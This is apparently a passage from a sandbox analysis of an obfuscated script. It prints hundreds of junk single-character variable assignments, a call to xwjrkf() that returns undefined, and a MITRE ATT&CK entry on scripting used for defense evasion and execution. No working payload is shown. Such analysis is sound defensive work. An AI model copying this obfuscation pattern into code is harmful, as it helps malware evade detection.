593	ftmggsxu = "o";
594	ftmggsxu = "N";
595	ftmggsxu = "l";
596	ftmggsxu = "n";
597	ftmggsxu = "v";
598	ftmggsxu = "T";
599	ftmggsxu = "m";
600	ftmggsxu = "j";
601	ftmggsxu = "E";
602	ftmggsxu = "Q";
603	ftmggsxu = "N";
604	qlrrmwxr = "V";
605	qlrrmwxr = "K";
606	qlrrmwxr = "p";
607	qlrrmwxr = "G";
608	qlrrmwxr = "k";
609	qlrrmwxr = "R";
610	qlrrmwxr = "K";
611	qlrrmwxr = "N";
612	qlrrmwxr = "s";
613	qlrrmwxr = "T";
614	qlrrmwxr = "j";
615	qlrrmwxr = "M";
616	qlrrmwxr = "V";
617	qlrrmwxr = "c";
618	qlrrmwxr = "n";
619	qlrrmwxr = "N";
620	qlrrmwxr = "c";
621	gxrld = "l";
622	gxrld = "W";
623	gxrld = "F";
624	gxrld = "I";
625	gxrld = "W";
626	gxrld = "k";
627	gxrld = "L";
628	gxrld = "w";
629	gxrld = "p";
630	gxrld = "H";
631	gxrld = "P";
632	gxrld = "H";
633	gxrld = "B";
634	gxrld = "U";
635	gxrld = "c";
636	gxrld = "J";
637	gxrld = "k";
638	gxrld = "A";
639	gxrld = "l";
640	gxrld = "T";
641	gxrld = "v";
642	gxrld = "R";
643	gxrld = "A";
644	gxrld = "A";
645	gxrld = "g";
646	gxrld = "Y";
647	gxrld = "q";
648	gxrld = "B";
649	gxrld = "A";
650	gxrld = "a";
651	gxrld = "Y";
652	gxrld = "I";
653	gxrld = "F";
654	gxrld = "w";
655	gxrld = "S";
656	gxrld = "V";
657	gxrld = "O";
658	gxrld = "k";
659	gxrld = "Q";
660	gxrld = "F";
661	kexdvna = "w";
662	kexdvna = "i";
663	kexdvna = "w";
664	kexdvna = "b";
665	kexdvna = "C";
666	kexdvna = "b";
667	kexdvna = "G";
668	kexdvna = "Z";
669	kexdvna = "j";
670	kexdvna = "D";
671	kexdvna = "r";
672	kexdvna = "Q";
673	kexdvna = "U";
674	kexdvna = "a";
675	kexdvna = "E";
676	kexdvna = "s";
677	kexdvna = "F";
678	kexdvna = "h";
679	kexdvna = "B";
680	kexdvna = "Y";
681	kexdvna = "a";
682	kexdvna = "r";
683	kexdvna = "a";
684	kexdvna = "X";
685	kexdvna = "d";
686	kexdvna = "w";
687	kexdvna = "p";
688	kexdvna = "r";
689	kexdvna = "b";
690	gehxb = "K";
691	gehxb = "W";
692	gehxb = "n";
693	gehxb = "U";
694	gehxb = "P";
695	gehxb = "U";
696	gehxb = "K";
697	gehxb = "T";
698	gehxb = "j";
699	gehxb = "i";
700	gehxb = "f";
701	gehxb = "n";
702	gehxb = "a";
703	gehxb = "k";
704	gehxb = "X";
705	gehxb = "i";
706	gehxb = "G";
707	gehxb = "a";
708	gehxb = "e";
709	gehxb = "L";
710	gehxb = "x";
711	gehxb = "a";
712	gehxb = "Y";
713	gehxb = "c";
714	gehxb = "e";
715	gehxb = "p";
716	gehxb = "z";
717	gehxb = "D";
718	gehxb = "a";
719	gehxb = "o";
720	gehxb = "Z";
721	gehxb = "u";
722	gehxb = "e";
723	gehxb = "O";
724	gehxb = "w";
725	gehxb = "s";
726	slhwb = "o";
727	slhwb = "v";
728	slhwb = "y";
729	slhwb = "h";
730	slhwb = "D";
731	slhwb = "T";
732	slhwb = "D";
733	slhwb = "y";
734	slhwb = "s";
735	slhwb = "5";
736	uwyrycph = "I";
737	uwyrycph = "e";
738	uwyrycph = "z";
739	uwyrycph = "y";
740	uwyrycph = "Y";
741	uwyrycph = "B";
742	uwyrycph = "W";
743	uwyrycph = "G";
744	uwyrycph = "u";
745	uwyrycph = "g";
746	uwyrycph = "x";
747	uwyrycph = "p";
748	uwyrycph = "F";
749	uwyrycph = "J";
750	uwyrycph = "j";
751	uwyrycph = "L";
752	uwyrycph = "i";
753	uwyrycph = "p";
754	uwyrycph = "h";
755	uwyrycph = "y";
756	uwyrycph = "K";
757	uwyrycph = "p";
758	uwyrycph = "m";
759	uwyrycph = "B";
760	uwyrycph = "k";
761	uwyrycph = "d";
762	uwyrycph = "e";
763	iamvmidn = "c";
764	iamvmidn = "a";
765	iamvmidn = "K";
766	iamvmidn = "z";
767	iamvmidn = "X";
768	iamvmidn = "y";
769	iamvmidn = "u";
770	iamvmidn = "f";
771	iamvmidn = "q";
772	iamvmidn = "I";
773	iamvmidn = "D";
774	iamvmidn = "q";
775	iamvmidn = "A";
776	iamvmidn = "v";
777	iamvmidn = "h";
778	iamvmidn = "H";
779	iamvmidn = "Z";
780	iamvmidn = "X";
781	iamvmidn = "f";
782	iamvmidn = "i";
783	iamvmidn = "M";
784	iamvmidn = "V";
785	iamvmidn = "X";
786	iamvmidn = "O";
787	iamvmidn = "D";
788	iamvmidn = "c";
789	iamvmidn = "S";
790	iamvmidn = "K";
791	iamvmidn = "J";
792	iamvmidn = "L";
793	iamvmidn = "V";
794	iamvmidn = "x";
795	iamvmidn = "N";
796	iamvmidn = "F";
797	iamvmidn = "h";
798	iamvmidn = "N";
799	iamvmidn = "m";
800	iamvmidn = "T";
801	iamvmidn = "u";
802	iamvmidn = "h";
803	iamvmidn = "d";
804	iamvmidn = "B";
805	iamvmidn = "K";
806	iamvmidn = "c";
807	iamvmidn = "v";
808	exxaj = "f";
809	exxaj = "A";
810	exxaj = "N";
811	exxaj = "J";
812	exxaj = "j";
813	exxaj = "O";
814	exxaj = "z";
815	exxaj = "J";
816	exxaj = "g";
817	exxaj = "Y";
818	exxaj = "A";
819	exxaj = "L";
820	exxaj = "v";
821	exxaj = "X";
822	exxaj = "F";
823	exxaj = "C";
824	exxaj = "V";
825	exxaj = "H";
826	exxaj = "r";
827	exxaj = "U";
828	exxaj = "j";
829	exxaj = "T";
830	exxaj = "O";
831	exxaj = "O";
832	exxaj = "p";
833	exxaj = "d";
834	exxaj = "I";
835	exxaj = "c";
836	exxaj = "n";
837	exxaj = "b";
838	exxaj = "z";
839	exxaj = "s";
840	exxaj = "e";
841	exxaj = "B";
842	exxaj = "J";
843	exxaj = "d";
844	exxaj = "r";
845	exxaj = "d";
846	exxaj = "i";
847	exxaj = " ";
848	nscbvlcy = "u";
849	nscbvlcy = "Q";
850	nscbvlcy = "U";
851	nscbvlcy = "p";
852	nscbvlcy = "A";
853	nscbvlcy = "W";
854	nscbvlcy = "f";
855	nscbvlcy = "p";
856	nscbvlcy = "A";
857	nscbvlcy = "z";
858	nscbvlcy = "I";
859	nscbvlcy = "c";
860	nscbvlcy = "o";
861	nscbvlcy = "b";
862	nscbvlcy = "w";
863	nscbvlcy = "c";
864	nscbvlcy = "c";
865	nscbvlcy = "Q";
866	nscbvlcy = "C";
867	nscbvlcy = "A";
868	nscbvlcy = "p";
869	nscbvlcy = "X";
870	nscbvlcy = "U";
871	nscbvlcy = "l";
872	nscbvlcy = "t";
873	nscbvlcy = "z";
874	nscbvlcy = "j";
875	nscbvlcy = "c";
876	nscbvlcy = "i";
877	nscbvlcy = "j";
878	nscbvlcy = "j";
879	nsghdiav = "J";
880	nsghdiav = "W";
881	nsghdiav = "n";
882	nsghdiav = "E";
883	nsghdiav = "n";
884	nsghdiav = "v";
885	nsghdiav = "J";
886	nsghdiav = "G";
887	nsghdiav = "i";
888	nsghdiav = "g";
889	nsghdiav = "S";
890	nsghdiav = "q";
891	nsghdiav = "U";
892	nsghdiav = "D";
893	nsghdiav = "E";
894	nsghdiav = "B";
895	nsghdiav = "T";
896	nsghdiav = "H";
897	nsghdiav = "K";
898	nsghdiav = "o";
899	nsghdiav = "O";
900	nsghdiav = "X";
901	nsghdiav = "N";
902	nsghdiav = "l";
903	nsghdiav = "N";
904	nsghdiav = "S";
905	nsghdiav = "k";
906	nsghdiav = "F";
907	nsghdiav = "q";
908	nsghdiav = "m";
909	nsghdiav = "q";
910	nsghdiav = "s";
911	nsghdiav = "R";
912	nsghdiav = "o";
913	nsghdiav = "c";
914	nsghdiav = "I";
915	nsghdiav = "F";
916	nsghdiav = "R";
917	nsghdiav = "t";
918	nsghdiav = "A";
919	nsghdiav = "a";
920	nsghdiav = "d";
921	nsghdiav = "q";
922	pgkgxo = "r";
923	pgkgxo = "V";
924	pgkgxo = "w";
925	pgkgxo = "q";
926	pgkgxo = "y";
927	pgkgxo = "e";
928	pgkgxo = "g";
929	pgkgxo = "a";
930	pgkgxo = "I";
931	pgkgxo = "u";
932	pgkgxo = "J";
933	pgkgxo = "f";
934	pgkgxo = "y";
935	pgkgxo = "L";
936	pgkgxo = "o";
937	pgkgxo = "e";
938	pgkgxo = "f";
939	pgkgxo = "v";
940	pgkgxo = "u";
941	pgkgxo = "c";
942	pgkgxo = "w";
943	pgkgxo = "K";
944	pgkgxo = "B";
945	pgkgxo = "X";
946	pgkgxo = "g";
947	pgkgxo = "N";
948	pgkgxo = "q";
949	pgkgxo = "o";
950	pgkgxo = "C";
951	mwjgkyyac = "e";
952	mwjgkyyac = "u";
953	mwjgkyyac = "U";
954	mwjgkyyac = "u";
955	mwjgkyyac = "n";
956	mwjgkyyac = "N";
957	mwjgkyyac = "v";
958	mwjgkyyac = "w";
959	mwjgkyyac = "I";
960	mwjgkyyac = "f";
961	mwjgkyyac = "Z";
962	mwjgkyyac = "O";
963	mwjgkyyac = "R";
964	mwjgkyyac = "f";
965	mwjgkyyac = "i";
966	mwjgkyyac = "j";
967	mwjgkyyac = "V";
968	mwjgkyyac = "P";
969	mwjgkyyac = "n";
970	mwjgkyyac = "g";
971	mwjgkyyac = "A";
972	mwjgkyyac = "n";
973	mwjgkyyac = "f";
974	mwjgkyyac = "K";
975	mwjgkyyac = "c";
976	mwjgkyyac = "t";
977	mwjgkyyac = "E";
978	mwjgkyyac = "C";
979	mwjgkyyac = "1";
980	zpzwelpfn = "J";
981	zpzwelpfn = "p";
982	zpzwelpfn = "r";
983	zpzwelpfn = "i";
984	zpzwelpfn = "b";
985	zpzwelpfn = "e";
986	zpzwelpfn = "m";
987	zpzwelpfn = "W";
988	zpzwelpfn = "i";
989	zpzwelpfn = "M";
990	zpzwelpfn = "m";
991	zpzwelpfn = "L";
992	zpzwelpfn = "O";
993	zpzwelpfn = "J";
994	zpzwelpfn = "x";
995	zpzwelpfn = "g";
996	zpzwelpfn = "M";
997	zpzwelpfn = "n";
998	zpzwelpfn = "Z";
999	zpzwelpfn = "p";
1000	zpzwelpfn = "x";
1001	zpzwelpfn = "G";
1002	zpzwelpfn = "c";
1003	zpzwelpfn = "w";
1004	zpzwelpfn = "Y";
1005	zpzwelpfn = "d";
1006	zpzwelpfn = "x";
1007	zpzwelpfn = "v";
1008	zpzwelpfn = "v";
1009	zpzwelpfn = "k";
1010	zpzwelpfn = "w";
1011	zpzwelpfn = "R";
1012	zpzwelpfn = "g";
1013	zpzwelpfn = "a";
1014	zpzwelpfn = "p";
1015	zpzwelpfn = "U";
1016	zpzwelpfn = "u";
1017	zpzwelpfn = "r";
1018	zpzwelpfn = "t";
1019	zpzwelpfn = "R";
1020	zpzwelpfn = "q";
1021	zpzwelpfn = "8";
1022	xzdhmbau = "P";
1023	xzdhmbau = "a";
1024	xzdhmbau = "d";
1025	xzdhmbau = "g";
1026	xzdhmbau = "o";
1027	xzdhmbau = "n";
1028	xzdhmbau = "O";
1029	xzdhmbau = "m";
1030	xzdhmbau = "w";
1031	xzdhmbau = "b";
1032	xzdhmbau = "o";
1033	xzdhmbau = "F";
1034	xzdhmbau = "Y";
1035	xzdhmbau = "e";
1036	xzdhmbau = "E";
1037	xzdhmbau = "q";
1038	xzdhmbau = "O";
1039	xzdhmbau = "e";
1040	xzdhmbau = "U";
1041	xzdhmbau = "S";
1042	xzdhmbau = "m";
1043	xzdhmbau = "W";
1044	xzdhmbau = "E";
1045	xzdhmbau = "p";
1046	xzdhmbau = "O";
1047	xzdhmbau = "0";
1048	dmlvoaf = "L";
1049	dmlvoaf = "S";
1050	dmlvoaf = "s";
1051	dmlvoaf = "A";
1052	dmlvoaf = "a";
1053	dmlvoaf = "Z";
1054	dmlvoaf = "q";
1055	dmlvoaf = "a";
1056	dmlvoaf = "v";
1057	dmlvoaf = "r";
1058	lkabmkm = "l";
1059	lkabmkm = "c";
1060	lkabmkm = "p";
1061	lkabmkm = "F";
1062	lkabmkm = "d";
1063	lkabmkm = "G";
1064	lkabmkm = "V";
1065	lkabmkm = "o";
1066	lkabmkm = "t";
1067	lkabmkm = "l";
1068	lkabmkm = "l";
1069	lkabmkm = "c";
1070	lkabmkm = "D";
1071	lkabmkm = "d";
1072	lkabmkm = "u";
1073	lkabmkm = "u";
1074	lkabmkm = "k";
1075	fnzzox = "i";
1076	fnzzox = "Z";
1077	fnzzox = "k";
1078	fnzzox = "e";
1079	fnzzox = "N";
1080	fnzzox = "x";
1081	fnzzox = "L";
1082	fnzzox = "n";
1083	fnzzox = "f";
1084	fnzzox = "L";
1085	fnzzox = "U";
1086	fnzzox = "J";
1087	fnzzox = "L";
1088	fnzzox = "D";
1089	fnzzox = "Q";
1090	fnzzox = "p";
1091	fnzzox = "p";
1092	fnzzox = "L";
1093	fnzzox = "x";
1094	fnzzox = "q";
1095	fnzzox = "O";
1096	fnzzox = "w";
1097	fnzzox = "J";
1098	fnzzox = "K";
1099	fnzzox = "R";
1100	fnzzox = "R";
1101	fnzzox = "X";
1102	fnzzox = "w";
1103	fnzzox = "W";
1104	fnzzox = "b";
1105	fnzzox = "s";
1106	fnzzox = "V";
1107	fnzzox = "s";
1108	fnzzox = "E";
1109	qukcvfihp = "m";
1110	qukcvfihp = "L";
1111	qukcvfihp = "Q";
1112	qukcvfihp = "k";
1113	qukcvfihp = "J";
1114	qukcvfihp = "e";
1115	qukcvfihp = "v";
1116	qukcvfihp = "R";
1117	qukcvfihp = "x";
1118	qukcvfihp = "j";
1119	qukcvfihp = "r";
1120	qukcvfihp = "y";
1121	qukcvfihp = "t";
1122	qukcvfihp = "q";
1123	qukcvfihp = "r";
1124	qukcvfihp = "d";
1125	qukcvfihp = "l";
1126	qukcvfihp = "Z";
1127	qukcvfihp = "S";
1128	qukcvfihp = "L";
1129	qukcvfihp = "g";
1130	qukcvfihp = "a";
1131	qukcvfihp = "E";
1132	qukcvfihp = "Q";
1133	qukcvfihp = "e";
1134	qukcvfihp = "X";
1135	qukcvfihp = "I";
1136	qukcvfihp = "J";
1137	qukcvfihp = "M";
1138	qukcvfihp = "U";
1139	qukcvfihp = "u";
1140	qukcvfihp = "X";
1141	qukcvfihp = "n";
1142	qukcvfihp = "k";
1143	qukcvfihp = "h";
1144	qukcvfihp = "A";
1145	qukcvfihp = "e";
1146	qukcvfihp = "K";
1147	qukcvfihp = "l";
1148	httlqj = "K";
1149	httlqj = "V";
1150	httlqj = "r";
1151	httlqj = "r";
1152	httlqj = "t";
1153	httlqj = "H";
1154	httlqj = "F";
1155	httlqj = "N";
1156	httlqj = "F";
1157	httlqj = "p";
1158	httlqj = "C";
1159	httlqj = "X";
1160	httlqj = "A";
1161	httlqj = "P";
1162	httlqj = "S";
1163	httlqj = "u";
1164	httlqj = "u";
1165	httlqj = "h";
1166	httlqj = "h";
1167	httlqj = "Z";
1168	httlqj = "w";
1169	httlqj = "u";
1170	httlqj = "S";
1171	httlqj = "k";
1172	httlqj = "Q";
1173	httlqj = "D";
1174	httlqj = "l";
1175	httlqj = "O";
1176	httlqj = "i";
1177	httlqj = "j";
1178	httlqj = "o";
1179	httlqj = "t";
1180	httlqj = "I";
1181	httlqj = "D";
1182	httlqj = "h";
1183	httlqj = "4";
1184	lanmwgdr = "V";
1185	lanmwgdr = "I";
1186	lanmwgdr = "J";
1187	lanmwgdr = "y";
1188	lanmwgdr = "Q";
1189	lanmwgdr = "k";
1190	lanmwgdr = "k";
1191	lanmwgdr = "S";
1192	lanmwgdr = "S";
1193	lanmwgdr = "g";
1194	lanmwgdr = "U";
1195	lanmwgdr = "o";
1196	lanmwgdr = "q";
1197	lanmwgdr = "P";
1198	eagjbbnlp = "k";
1199	eagjbbnlp = "Z";
1200	eagjbbnlp = "U";
1201	eagjbbnlp = "f";
1202	eagjbbnlp = "M";
1203	eagjbbnlp = "a";
1204	eagjbbnlp = "r";
1205	eagjbbnlp = "Z";
1206	eagjbbnlp = "T";
1207	eagjbbnlp = "b";
1208	eagjbbnlp = "u";
1209	eagjbbnlp = "H";
1210	eagjbbnlp = "S";
1211	eagjbbnlp = "E";
1212	eagjbbnlp = "c";
1213	eagjbbnlp = "Q";
1214	eagjbbnlp = "E";
1215	eagjbbnlp = "V";
1216	eagjbbnlp = "F";
1217	eagjbbnlp = "v";
1218	eagjbbnlp = "j";
1219	eagjbbnlp = "p";
1220	eagjbbnlp = "R";
1221	eagjbbnlp = "f";
1222	eagjbbnlp = "q";
1223	eagjbbnlp = "z";
1224	eagjbbnlp = "T";
1225	eagjbbnlp = "f";
1226	eagjbbnlp = "I";
1227	eagjbbnlp = "B";
1228	eagjbbnlp = "p";
1229	eagjbbnlp = "h";
1230	eagjbbnlp = "O";
1231	eagjbbnlp = "H";
1232	eagjbbnlp = "J";
1233	eagjbbnlp = "c";
1234	eagjbbnlp = "z";
1235	eagjbbnlp = "o";
1236	ozqgbivyj = "H";
1237	ozqgbivyj = "a";
1238	ozqgbivyj = "p";
1239	ozqgbivyj = "9";
1240	foiqwwhs = "J";
1241	foiqwwhs = "C";
1242	foiqwwhs = "g";
1243	foiqwwhs = "f";
1244	foiqwwhs = "w";
1245	foiqwwhs = "V";
1246	foiqwwhs = "m";
1247	foiqwwhs = "o";
1248	foiqwwhs = "c";
1249	foiqwwhs = "M";
1250	foiqwwhs = "P";
1251	foiqwwhs = "T";
1252	foiqwwhs = "o";
1253	foiqwwhs = "e";
1254	foiqwwhs = "e";
1255	foiqwwhs = "L";
1256	foiqwwhs = "w";
1257	foiqwwhs = "Q";
1258	foiqwwhs = "N";
1259	foiqwwhs = "U";
1260	foiqwwhs = "M";
1261	foiqwwhs = "c";
1262	foiqwwhs = "z";
1263	foiqwwhs = "c";
1264	foiqwwhs = "o";
1265	foiqwwhs = "s";
1266	foiqwwhs = "M";
1267	foiqwwhs = "y";
1268	foiqwwhs = "H";
1269	foiqwwhs = "Y";
1270	foiqwwhs = "m";
1271	foiqwwhs = "w";
1272	foiqwwhs = "Y";
1273	foiqwwhs = "C";
1274	foiqwwhs = "B";
1275	foiqwwhs = "W";
1276	foiqwwhs = "v";
1277	foiqwwhs = "G";
1278	foiqwwhs = "Y";
1279	foiqwwhs = "\\";
1280	phwjkhfr = "l";
1281	phwjkhfr = "o";
1282	phwjkhfr = "j";
1283	phwjkhfr = "n";
1284	phwjkhfr = "m";
1285	phwjkhfr = "w";
1286	phwjkhfr = "m";
1287	phwjkhfr = "S";
1288	phwjkhfr = "K";
1289	phwjkhfr = "K";
1290	phwjkhfr = "T";
1291	phwjkhfr = "t";
1292	phwjkhfr = "d";
1293	phwjkhfr = "a";
1294	phwjkhfr = "t";
1295	phwjkhfr = "z";
1296	phwjkhfr = "c";
1297	phwjkhfr = "H";
1298	phwjkhfr = "R";
1299	jvesq = "s";
1300	jvesq = "W";
1301	jvesq = "M";
1302	jvesq = "u";
1303	jvesq = "f";
1304	jvesq = "S";
1305	jvesq = "p";
1306	jvesq = "S";
1307	jvesq = "j";
1308	jvesq = "U";
1309	jvesq = "D";
1310	jvesq = "f";
1311	jvesq = "Y";
1312	jvesq = "u";
1313	jvesq = "u";
1314	jvesq = "Q";
1315	jvesq = "l";
1316	jvesq = "I";
1317	jvesq = "Y";
1318	jvesq = "j";
1319	jvesq = "A";
1320	jvesq = "m";
1321	jvesq = "g";
1322	jvesq = "s";
1323	jvesq = "Z";
1324	jvesq = "v";
1325	jvesq = "Z";
1326	jvesq = "O";
1327	jvesq = "N";
1328	jvesq = "G";
1329	jvesq = "p";
1330	jvesq = "y";
1331	jvesq = "C";
1332	jvesq = "s";
1333	jvesq = "G";
1334	jvesq = "h";
1335	jvesq = "N";
1336	jvesq = "g";
1337	jvesq = "i";
1338	jvesq = "o";
1339	jvesq = "A";
1340	jvesq = "Y";
1341	jvesq = "H";
1342	vtjoh = "l";
1343	vtjoh = "q";
1344	vtjoh = "R";
1345	vtjoh = "d";
1346	vtjoh = "L";
1347	vtjoh = "v";
1348	vtjoh = "S";
1349	vtjoh = "u";
1350	vtjoh = "s";
1351	vtjoh = "p";
1352	vtjoh = "Y";
1353	vtjoh = "X";
1354	vtjoh = "v";
1355	vtjoh = "v";
1356	vtjoh = "v";
1357	vtjoh = "i";
1358	vtjoh = "a";
1359	vtjoh = "k";
1360	vtjoh = "y";
1361	vtjoh = "T";
1362	vtjoh = "s";
1363	vtjoh = "G";
1364	vtjoh = "L";
1365	vtjoh = "m";
1366	vtjoh = "Y";
1367	vtjoh = "E";
1368	vtjoh = "S";
1369	vtjoh = ":";
1370	yzuid = "n";
1371	yzuid = "D";
1372	yzuid = "g";
1373	yzuid = "A";
1374	yzuid = "T";
1375	klkwevn = "o";
1376	klkwevn = "j";
1377	klkwevn = "O";
1378	klkwevn = "H";
1379	klkwevn = "e";
1380	klkwevn = "C";
1381	klkwevn = "R";
1382	klkwevn = "l";
1383	klkwevn = "f";
1384	klkwevn = "u";
1385	klkwevn = "c";
1386	klkwevn = "c";
1387	klkwevn = "i";
1388	klkwevn = "C";
1389	klkwevn = "j";
1390	klkwevn = "f";
1391	klkwevn = "Z";
1392	klkwevn = "K";
1393	klkwevn = "U";
1394	klkwevn = "j";
1395	klkwevn = "n";
1396	klkwevn = "A";
1397	klkwevn = "m";
1398	klkwevn = "A";
1399	klkwevn = "f";
1400	klkwevn = "U";
1401	klkwevn = "p";
1402	klkwevn = "j";
1403	klkwevn = "d";
1404	klkwevn = "n";
1405	klkwevn = "e";
1406	klkwevn = "l";
1407	klkwevn = "z";
1408	klkwevn = "E";
1409	klkwevn = "q";
1410	klkwevn = "a";
1411	klkwevn = "s";
1412	klkwevn = "W";
1413	klkwevn = "e";
1414	klkwevn = "k";
1415	klkwevn = "o";
1416	klkwevn = "T";
1417	klkwevn = "m";
1418	klkwevn = "t";
1419	cqiacp = "K";
1420	cqiacp = "z";
1421	cqiacp = "g";
1422	cqiacp = "X";
1423	cqiacp = "V";
1424	cqiacp = "g";
1425	cqiacp = "Y";
1426	cqiacp = "Q";
1427	cqiacp = "I";
1428	cqiacp = "B";
1429	cqiacp = "q";
1430	cqiacp = "v";
1431	cqiacp = "Z";
1432	cqiacp = "e";
1433	cqiacp = "W";
1434	cqiacp = "h";
1435	cqiacp = "C";
1436	cqiacp = "x";
1437	cqiacp = "V";
1438	cqiacp = "B";
1439	cqiacp = "d";
1440	cqiacp = "R";
1441	cqiacp = "l";
1442	cqiacp = "S";
1443	cqiacp = "J";
1444	cqiacp = "G";
1445	cqiacp = "m";
1446	cqiacp = "L";
1447	cqiacp = "p";
1448	cqiacp = "c";
1449	cqiacp = "G";
1450	cqiacp = "p";
1451	cqiacp = "r";
1452	cqiacp = "z";
1453	cqiacp = "y";
1454	cqiacp = "T";
1455	cqiacp = "J";
1456	cqiacp = "i";
1457	cqiacp = "i";
1458	qbfzc = "e";
1459	qbfzc = "O";
1460	qbfzc = "H";
1461	qbfzc = "z";
1462	qbfzc = "W";
1463	qbfzc = "b";
1464	qbfzc = "e";
1465	qbfzc = "A";
1466	qbfzc = "g";
1467	qbfzc = "B";
1468	qbfzc = "Z";
1469	qbfzc = "z";
1470	qbfzc = "u";
1471	qbfzc = "Z";
1472	qbfzc = "X";
1473	qbfzc = "t";
1474	qbfzc = "u";
1475	qbfzc = "X";
1476	qbfzc = "A";
1477	qbfzc = "N";
1478	qbfzc = "b";
1479	qbfzc = "B";
1480	qbfzc = "U";
1481	qbfzc = "F";
1482	qbfzc = "s";
1483	qbfzc = "a";
1484	qbfzc = "T";
1485	qbfzc = "P";
1486	qbfzc = "I";
1487	qbfzc = "F";
1488	qbfzc = "U";
1489	qbfzc = "C";
1490	qbfzc = "U";
1491	qbfzc = "l";
1492	qbfzc = "@";
1493	lnjlss = "I";
1494	lnjlss = "M";
1495	lnjlss = "J";
1496	lnjlss = "R";
1497	lnjlss = "J";
1498	lnjlss = "H";
1499	lnjlss = "h";
1500	lnjlss = "z";
1501	lnjlss = "i";
1502	lnjlss = "d";
1503	lnjlss = "f";
1504	lnjlss = "C";
1505	lnjlss = "W";
1506	lnjlss = "s";
1507	lnjlss = "Z";
1508	lnjlss = "Z";
1509	lnjlss = "P";
1510	lnjlss = "n";
1511	lnjlss = "B";
1512	lnjlss = "K";
1513	fziamlvua = "A";
1514	fziamlvua = "x";
1515	fziamlvua = "d";
1516	fziamlvua = "Z";
1517	fziamlvua = "j";
1518	fziamlvua = "E";
1519	fziamlvua = ".";
1520	wpiccie = "b";
1521	wpiccie = "k";
1522	wpiccie = "B";
1523	wpiccie = "v";
1524	wpiccie = "s";
1525	wpiccie = "L";
1526	wpiccie = "c";
1527	wpiccie = "W";
1528	wpiccie = "H";
1529	wpiccie = "i";
1530	wpiccie = "R";
1531	wpiccie = "I";
1532	wpiccie = "k";
1533	wpiccie = "a";
1534	wpiccie = "G";
1535	wpiccie = "u";
1536	wpiccie = "Y";
1537	wpiccie = "w";
1538	wpiccie = "l";
1539	wpiccie = "H";
1540	wpiccie = "k";
1541	wpiccie = "A";
1542	wpiccie = "i";
1543	wpiccie = "f";
1544	wpiccie = "e";
1545	wpiccie = "L";
1546	mylezu = "F";
1547	mylezu = "d";
1548	mylezu = "O";
1549	mylezu = "C";
1550	mylezu = "c";
1551	mylezu = "E";
1552	mylezu = "Y";
1553	mylezu = "h";
1554	mylezu = "u";
1555	mylezu = "C";
1556	mylezu = "U";
1557	mylezu = "F";
1558	mylezu = "m";
1559	mylezu = "f";
1560	mylezu = "j";
1561	mylezu = "u";
1562	mylezu = "l";
1563	mylezu = "K";
1564	mylezu = "w";
1565	mylezu = "2";
1566	eqsflk = "Q";
1567	eqsflk = "i";
1568	eqsflk = "y";
1569	eqsflk = "P";
1570	eqsflk = "x";
1571	eqsflk = "T";
1572	eqsflk = "C";
1573	eqsflk = "M";
1574	eqsflk = "Y";
1575	eqsflk = "B";
1576	eqsflk = "w";
1577	eqsflk = "q";
1578	eqsflk = "K";
1579	eqsflk = "D";
1580	eqsflk = "E";
1581	eqsflk = "d";
1582	eqsflk = "M";
1583	eqsflk = "x";
1584	eqsflk = "L";
1585	eqsflk = "A";
1586	eqsflk = "p";
1587	eqsflk = "L";
1588	eqsflk = "V";
1589	eqsflk = "P";
1590	eqsflk = "s";
1591	eqsflk = "u";
1592	eqsflk = "k";
1593	eqsflk = "E";
1594	eqsflk = "b";
1595	eqsflk = "Y";
1596	eqsflk = "Q";
1597	eqsflk = "G";
1598	eqsflk = "p";
1599	eqsflk = "Q";
1600	fwomde = "E";
1601	fwomde = "N";
1602	fwomde = "l";
1603	fwomde = "u";
1604	fwomde = "w";
1605	fwomde = "O";
1606	fwomde = "Z";
1607	fwomde = "Q";
1608	fwomde = "h";
1609	fwomde = "U";
1610	fwomde = "s";
1611	fwomde = "U";
1612	fwomde = "T";
1613	fwomde = "Z";
1614	fwomde = "h";
1615	fwomde = "E";
1616	fwomde = "f";
1617	fwomde = "G";
1618	fwomde = "W";
1619	fwomde = "N";
1620	fwomde = "u";
1621	ylrrrtug = "S";
1622	ylrrrtug = "T";
1623	ylrrrtug = "U";
1624	ylrrrtug = "g";
1625	ylrrrtug = "q";
1626	ylrrrtug = "G";
1627	ylrrrtug = "o";
1628	ylrrrtug = "v";
1629	ylrrrtug = "r";
1630	ylrrrtug = "n";
1631	ylrrrtug = "z";
1632	ylrrrtug = "p";
1633	ylrrrtug = "j";
1634	ylrrrtug = "M";
1635	ylrrrtug = "z";
1636	ylrrrtug = "H";
1637	ylrrrtug = "S";
1638	ylrrrtug = "Q";
1639	ylrrrtug = "W";
1640	ylrrrtug = "D";
1641	ylrrrtug = "I";
1642	ylrrrtug = "p";
1643	ylrrrtug = "m";
1644	ylrrrtug = "z";
1645	ylrrrtug = "F";
1646	ylrrrtug = "k";
1647	ylrrrtug = "c";
1648	ylrrrtug = "V";
1649	ylrrrtug = "g";
1650	dzzdv = "o";
1651	dzzdv = "z";
1652	dzzdv = "z";
1653	dzzdv = "Y";
1654	dzzdv = "y";
1655	dzzdv = "T";
1656	dzzdv = "o";
1657	dzzdv = "V";
1658	dzzdv = "N";
1659	dzzdv = "P";
1660	dzzdv = "q";
1661	dzzdv = "G";
1662	dzzdv = "W";
1663	dzzdv = "p";
1664	dzzdv = "s";
1665	dzzdv = "Y";
1666	dzzdv = "z";
1667	dzzdv = "T";
1668	dzzdv = "N";
1669	dzzdv = "d";
1670	fmjql = "g";
1671	fmjql = "m";
1672	fmjql = "y";
1673	fmjql = "J";
1674	fmjql = "g";
1675	fmjql = "F";
1676	fmjql = "t";
1677	fmjql = "X";
1678	fmjql = "z";
1679	fmjql = "d";
1680	fmjql = "W";
1681	fmjql = "V";
1682	fmjql = "g";
1683	fmjql = "d";
1684	fmjql = "U";
1685	fmjql = "j";
1686	fmjql = "I";
1687	fmjql = "x";
1688	fmjql = "B";
1689	fmjql = "a";
1690	fmjql = "h";
1691	fmjql = "&";
1692	frkughypc = "u";
1693	frkughypc = "n";
1694	atqpe = "N";
1695	atqpe = "r";
1696	atqpe = "E";
1697	atqpe = "Y";
1698	xwjrkf ( );	xwjrkf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

